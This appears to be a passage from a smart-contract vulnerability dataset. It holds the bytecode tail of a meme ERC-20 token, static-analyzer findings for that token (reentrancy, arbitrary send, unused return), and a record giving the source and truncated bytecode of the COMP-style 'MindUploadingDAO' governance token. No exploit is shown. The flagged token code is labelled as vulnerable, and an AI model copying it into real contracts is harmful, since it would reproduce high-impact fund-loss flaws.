6120e690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d71573d6000803e3d6000fd5b5050565b6000600654821115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db390612ec4565b60405180910390fd5b6000611dc661215d565b9050611ddb81846120e690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1b57611e1a613410565b5b604051908082528060200260200182016040528015611e495781602001602082028036833780820191505090505b5090503081600081518110611e6157611e606133e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0357600080fd5b505afa158015611f17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3b91906128c9565b81600181518110611f4f57611f4e6133e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611266565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061303f565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131e1565b905082848261209b91906131b0565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f44565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e82565b60405180910390fd5b50600083856121de91906131b0565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190613024565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600c612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bf0565b905092915050565b600080828461251b919061315a565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612f04565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130d9565b6130b4565b905080838252602082019050828560208602820111156127b6576127b5613444565b5b60005b858110156127e657816127cc88826127f0565b8452602084019350602083019250506001810190506127b9565b5050509392505050565b6000813590506127ff8161375a565b92915050565b6000815190506128148161375a565b92915050565b600082601f83011261282f5761282e61343f565b5b813561283f848260208601612780565b91505092915050565b60008135905061285781613771565b92915050565b60008151905061286c81613771565b92915050565b60008135905061288181613788565b92915050565b60008151905061289681613788565b92915050565b6000602082840312156128b2576128b161344e565b5b60006128c0848285016127f0565b91505092915050565b6000602082840312156128df576128de61344e565b5b60006128ed84828501612805565b91505092915050565b6000806040838503121561290d5761290c61344e565b5b600061291b858286016127f0565b925050602061292c858286016127f0565b9150509250929050565b60008060006060848603121561294f5761294e61344e565b5b600061295d868287016127f0565b935050602061296e868287016127f0565b925050604061297f86828701612872565b9150509250925092565b600080604083850312156129a05761299f61344e565b5b60006129ae858286016127f0565b92505060206129bf85828601612872565b9150509250929050565b6000602082840312156129df576129de61344e565b5b600082013567ffffffffffffffff8111156129fd576129fc613449565b5b612a098482850161281a565b91505092915050565b600060208284031215612a2857612a2761344e565b5b6000612a3684828501612848565b91505092915050565b600060208284031215612a5557612a5461344e565b5b6000612a638482850161285d565b91505092915050565b600060208284031215612a8257612a8161344e565b5b6000612a9084828501612872565b91505092915050565b600080600060608486031215612ab257612ab161344e565b5b6000612ac086828701612887565b9350506020612ad186828701612887565b9250506040612ae286828701612887565b9150509250925092565b6000612af88383612b04565b60208301905092915050565b612b0d8161326f565b82525050565b612b1c8161326f565b82525050565b6000612b2d82613115565b612b378185613138565b9350612b4283613105565b8060005b83811015612b73578151612b5a8882612aec565b9750612b658361312b565b925050600181019050612b46565b5085935050505092915050565b612b8981613281565b82525050565b612b98816132c4565b82525050565b6000612ba982613120565b612bb38185613149565b9350612bc38185602086016132d6565b612bcc81613453565b840191505092915050565b6000612be4602383613149565b9150612bef82613464565b604082019050919050565b6000612c07602a83613149565b9150612c12826134b3565b604082019050919050565b6000612c2a602283613149565b9150612c3582613502565b604082019050919050565b6000612c4d601b83613149565b9150612c5882613551565b602082019050919050565b6000612c70601d83613149565b9150612c7b8261357a565b602082019050919050565b6000612c93602183613149565b9150612c9e826135a3565b604082019050919050565b6000612cb6602083613149565b9150612cc1826135f2565b602082019050919050565b6000612cd9602983613149565b9150612ce48261361b565b604082019050919050565b6000612cfc602583613149565b9150612d078261366a565b604082019050919050565b6000612d1f602483613149565b9150612d2a826136b9565b604082019050919050565b6000612d42601783613149565b9150612d4d82613708565b602082019050919050565b6000612d65601183613149565b9150612d7082613731565b602082019050919050565b612d84816132ad565b82525050565b612d93816132b7565b82525050565b6000602082019050612dae6000830184612b13565b92915050565b6000604082019050612dc96000830185612b13565b612dd66020830184612b13565b9392505050565b6000604082019050612df26000830185612b13565b612dff6020830184612d7b565b9392505050565b600060c082019050612e1b6000830189612b13565b612e286020830188612d7b565b612e356040830187612b8f565b612e426060830186612b8f565b612e4f6080830185612b13565b612e5c60a0830184612d7b565b979650505050505050565b6000602082019050612e7c6000830184612b80565b92915050565b60006020820190508181036000830152612e9c8184612b9e565b905092915050565b60006020820190508181036000830152612ebd81612bd7565b9050919050565b60006020820190508181036000830152612edd81612bfa565b9050919050565b60006020820190508181036000830152612efd81612c1d565b9050919050565b60006020820190508181036000830152612f1d81612c40565b9050919050565b60006020820190508181036000830152612f3d81612c63565b9050919050565b60006020820190508181036000830152612f5d81612c86565b9050919050565b60006020820190508181036000830152612f7d81612ca9565b9050919050565b60006020820190508181036000830152612f9d81612ccc565b9050919050565b60006020820190508181036000830152612fbd81612cef565b9050919050565b60006020820190508181036000830152612fdd81612d12565b9050919050565b60006020820190508181036000830152612ffd81612d35565b9050919050565b6000602082019050818103600083015261301d81612d58565b9050919050565b60006020820190506130396000830184612d7b565b92915050565b600060a0820190506130546000830188612d7b565b6130616020830187612b8f565b81810360408301526130738186612b22565b90506130826060830185612b13565b61308f6080830184612d7b565b9695505050505050565b60006020820190506130ae6000830184612d8a565b92915050565b60006130be6130cf565b90506130ca8282613309565b919050565b6000604051905090565b600067ffffffffffffffff8211156130f4576130f3613410565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613165826132ad565b9150613170836132ad565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131a5576131a4613383565b5b828201905092915050565b60006131bb826132ad565b91506131c6836132ad565b9250826131d6576131d56133b2565b5b828204905092915050565b60006131ec826132ad565b91506131f7836132ad565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132305761322f613383565b5b828202905092915050565b6000613246826132ad565b9150613251836132ad565b92508282101561326457613263613383565b5b828203905092915050565b600061327a8261328d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132cf826132ad565b9050919050565b60005b838110156132f45780820151818401526020810190506132d9565b83811115613303576000848401525b50505050565b61331282613453565b810181811067ffffffffffffffff8211171561333157613330613410565b5b80604052505050565b6000613345826132ad565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561337857613377613383565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137638161326f565b811461376e57600080fd5b50565b61377a81613281565b811461378557600080fd5b50565b613791816132ad565b811461379c57600080fd5b5056fe48756e6465726564205472696c6c696f6e207c20742e6d652f68756e647265647472696c6c696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6177e06d12fda2e1765c04614203f09718b744046505e592e47a2aa071926a364736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,879
0xe4e90ce27447fc34fb571e3daccfadee6af13736
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Mind { /// @notice EIP-20 token name for this token string public constant name = "MindUploadingDAO"; /// @notice EIP-20 token symbol for this token string public constant symbol = "Mind"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 100000000000e18; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Mind token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Mind::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Mind::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Mind::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Mind::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Mind::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Mind::delegateBySig: invalid nonce"); require(now <= expiry, "Mind::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Mind::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Mind::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Mind::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Mind::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Mind::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Mind::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Mind::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Mind::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612868565b60405180910390f35b61015e6004803603610159919081019061214f565b61045c565b60405161016b9190612763565b60405180910390f35b61017c6105ee565b604051610189919061296c565b60405180910390f35b61019a6105ff565b6040516101a7919061277e565b60405180910390f35b6101ca60048036036101c59190810190612100565b610616565b6040516101d79190612763565b60405180910390f35b6101e86108a8565b6040516101f591906129cb565b60405180910390f35b6102186004803603610213919081019061209b565b6108ad565b6040516102259190612748565b60405180910390f35b6102486004803603610243919081019061209b565b6108e0565b005b610264600480360361025f919081019061209b565b6108ed565b6040516102719190612987565b60405180910390f35b610294600480360361028f919081019061209b565b610910565b6040516102a1919061296c565b60405180910390f35b6102c460048036036102bf919081019061214f565b61097f565b6040516102d19190612a01565b60405180910390f35b6102f460048036036102ef919081019061209b565b610d92565b604051610301919061296c565b60405180910390f35b610312610daa565b60405161031f9190612868565b60405180910390f35b610342600480360361033d919081019061214f565b610de3565b60405161034f9190612763565b60405180910390f35b610372600480360361036d919081019061209b565b610e20565b60405161037f9190612a01565b60405180910390f35b6103a2600480360361039d919081019061218b565b610f0e565b005b6103be60048036036103b991908101906120c4565b6111b1565b6040516103cb919061296c565b60405180910390f35b6103dc61125d565b6040516103e9919061277e565b60405180910390f35b61040c60048036036104079190810190612214565b611274565b60405161041a9291906129a2565b60405180910390f35b6040518060400160405280601081526020017f4d696e6455706c6f6164696e6744414f0000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612d1e602591396112cd565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e6565b60405180910390a3600191505092915050565b6c01431e0fae6d7217caa000000081565b60405161060b9061271e565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d885604051806060016040528060258152602001612d1e602591396112cd565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088f57600061077c83836040518060600160405280603d8152602001612c1f603d913961132b565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088591906129e6565b60405180910390a3505b61089a87878361139c565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108ea338261177d565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba906128cc565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a30576000915050610d8c565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3257600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8c565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb3576000915050610d8c565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0e576000600283830363ffffffff1681610be957fe5b0482039050610bf6612004565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce657806020015195505050505050610d8c565b86816000015163ffffffff161015610d0057819350610d07565b6001820392505b5050610bc1565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f4d696e640000000000000000000000000000000000000000000000000000000081525081565b600080610e0883604051806060016040528060268152602001612bf9602691396112cd565b9050610e1533858361139c565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e8a576000610f06565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1c9061271e565b60405180910390206040518060400160405280601081526020017f4d696e6455706c6f6164696e6744414f0000000000000000000000000000000081525080519060200120610f6961193d565b30604051602001610f7d94939291906127de565b6040516020818303038152906040528051906020012090506000604051610fa390612733565b6040518091039020888888604051602001610fc19493929190612799565b60405160208183030381529060405280519060200120905060008282604051602001610fee9291906126e7565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161102b9493929190612823565b6020604051602081039080840390855afa15801561104d573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c09061290c565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f9061292c565b60405180910390fd5b8742111561119b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611192906128ec565b60405180910390fd5b6111a5818b61177d565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126990612733565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611321576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611318919061288a565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611386919061288a565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611403906128ac565b60405180910390fd5b600073fffffffffffffffffffffff